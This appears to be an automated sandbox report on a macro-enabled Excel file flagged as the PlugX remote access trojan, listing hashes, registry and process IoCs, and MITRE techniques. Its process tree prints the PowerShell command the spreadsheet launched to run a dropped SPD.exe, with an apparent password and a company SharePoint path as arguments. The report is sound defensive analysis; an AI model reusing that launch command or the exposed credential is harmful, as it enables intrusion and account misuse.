plugx | b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33

Analysis

max time kernel
144s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
29-03-2022 23:25

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General

Target

b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33.xlsm
Size

1.6MB
MD5

81a70d33c490b0b2af21a11869c6c589
SHA1

8ebd33d404e0d6dd8eeb54165527534706e0829c
SHA256

b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33
SHA512

204a5bbc0516cb5c5662847c5ca43d3a96919fcc2d8815b3b0bcdc6d2d30fab01b0efec2a825c164728b5e8269bc73bc740f4da82f99c3de7b0ec7d0daf397c8

Score

10^/10

plugx trojan

Malware Config

Signatures

PlugX
PlugX is a RAT (Remote Access Trojan) that has been around since 2008.
trojan plugx

PlugX Rat Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1932-145-0x0000027262450000-0x00000272631E0000-memory.dmp	PlugX

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1020	1932	powershell.exe	77

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1772	1932	DW20.EXE	77

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dwwin.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwwin.exe

Modifies registry class 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	EXCEL.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\{3831766F-A500-405A-8C69-D5AA754572E5}\SPD.exe:Zone.Identifier	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1932	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1932	EXCEL.EXE
1020	powershell.exe
1020	powershell.exe
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	EXCEL.EXE
Token: SeDebugPrivilege	1020	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 1520	1932	EXCEL.EXE	79
PID 1932 wrote to memory of 1520	1932	EXCEL.EXE	79
PID 1932 wrote to memory of 1020	1932	EXCEL.EXE	90
PID 1932 wrote to memory of 1020	1932	EXCEL.EXE	90
PID 1932 wrote to memory of 1772	1932	EXCEL.EXE	92
PID 1932 wrote to memory of 1772	1932	EXCEL.EXE	92
PID 1772 wrote to memory of 2380	1772	DW20.EXE	93
PID 1772 wrote to memory of 2380	1772	DW20.EXE	93

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b4dfa03a75594d4eb89ee173a82f976245ef874079ffa9359c748d5ee9ff5d33.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "& ($env:TEMP + \"\SPD.exe\") \"[email protected]\" \"Nhh2H5urwHv0\" \"https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/\" \"Produktark MPF Kopi.xlsx\""
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
  "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 7012
  2⤵
  - Process spawned suspicious child process
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\system32\dwwin.exe
    C:\Windows\system32\dwwin.exe -x -s 7012
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1020-164-0x000001EFCAE26000-0x000001EFCAE28000-memory.dmp

Filesize
8KB

Download
memory/1020-163-0x000001EFCAE23000-0x000001EFCAE25000-memory.dmp

Filesize
8KB

Download
memory/1020-162-0x000001EFCAE20000-0x000001EFCAE22000-memory.dmp

Filesize
8KB

Download
memory/1020-161-0x00007FFC7D600000-0x00007FFC7E0C1000-memory.dmp

Filesize
10.8MB

Download
memory/1020-160-0x000001EFCAD40000-0x000001EFCAD62000-memory.dmp

Filesize
136KB

Download
memory/1772-175-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1772-174-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1772-173-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1772-172-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1932-140-0x0000027263A10000-0x0000027266470000-memory.dmp

Filesize
42.4MB

Download
memory/1932-158-0x0000027248A6B000-0x0000027248A6F000-memory.dmp

Filesize
16KB

Download
memory/1932-144-0x00000272453F0000-0x0000027245412000-memory.dmp

Filesize
136KB

Download
memory/1932-145-0x0000027262450000-0x00000272631E0000-memory.dmp

Filesize
13.6MB

Download
memory/1932-146-0x00000272453D0000-0x00000272453E0000-memory.dmp

Filesize
64KB

Download
memory/1932-147-0x0000027248A80000-0x0000027248A8A000-memory.dmp

Filesize
40KB

Download
memory/1932-148-0x0000027248A90000-0x0000027248AB2000-memory.dmp

Filesize
136KB

Download
memory/1932-149-0x0000027248A63000-0x0000027248A65000-memory.dmp

Filesize
8KB

Download
memory/1932-150-0x000002726A790000-0x000002726EAA6000-memory.dmp

Filesize
67.1MB

Download
memory/1932-151-0x0000027248BE0000-0x0000027248C08000-memory.dmp

Filesize
160KB

Download
memory/1932-152-0x0000027260CA0000-0x0000027260CF0000-memory.dmp

Filesize
320KB

Download
memory/1932-153-0x00000272453E0000-0x00000272453F0000-memory.dmp

Filesize
64KB

Download
memory/1932-154-0x0000027248C10000-0x0000027248C28000-memory.dmp

Filesize
96KB

Download
memory/1932-155-0x0000027260D80000-0x0000027260DDA000-memory.dmp

Filesize
360KB

Download
memory/1932-156-0x0000027248A66000-0x0000027248A68000-memory.dmp

Filesize
8KB

Download
memory/1932-143-0x00000272614F0000-0x00000272616B2000-memory.dmp

Filesize
1.8MB

Download
memory/1932-157-0x0000027248A69000-0x0000027248A6B000-memory.dmp

Filesize
8KB

Download
memory/1932-142-0x00000272489D0000-0x0000027248A2C000-memory.dmp

Filesize
368KB

Download
memory/1932-141-0x0000027261250000-0x00000272614E4000-memory.dmp

Filesize
2.6MB

Download
memory/1932-130-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1932-139-0x0000027248A60000-0x0000027248A62000-memory.dmp

Filesize
8KB

Download
memory/1932-138-0x00007FFC7D600000-0x00007FFC7E0C1000-memory.dmp

Filesize
10.8MB

Download
memory/1932-137-0x0000027260E00000-0x0000027260FA2000-memory.dmp

Filesize
1.6MB

Download
memory/1932-136-0x0000027246FA0000-0x0000027246FA4000-memory.dmp

Filesize
16KB

Download
memory/1932-131-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1932-134-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1932-133-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download
memory/1932-132-0x00007FFC69430000-0x00007FFC69440000-memory.dmp

Filesize
64KB

Download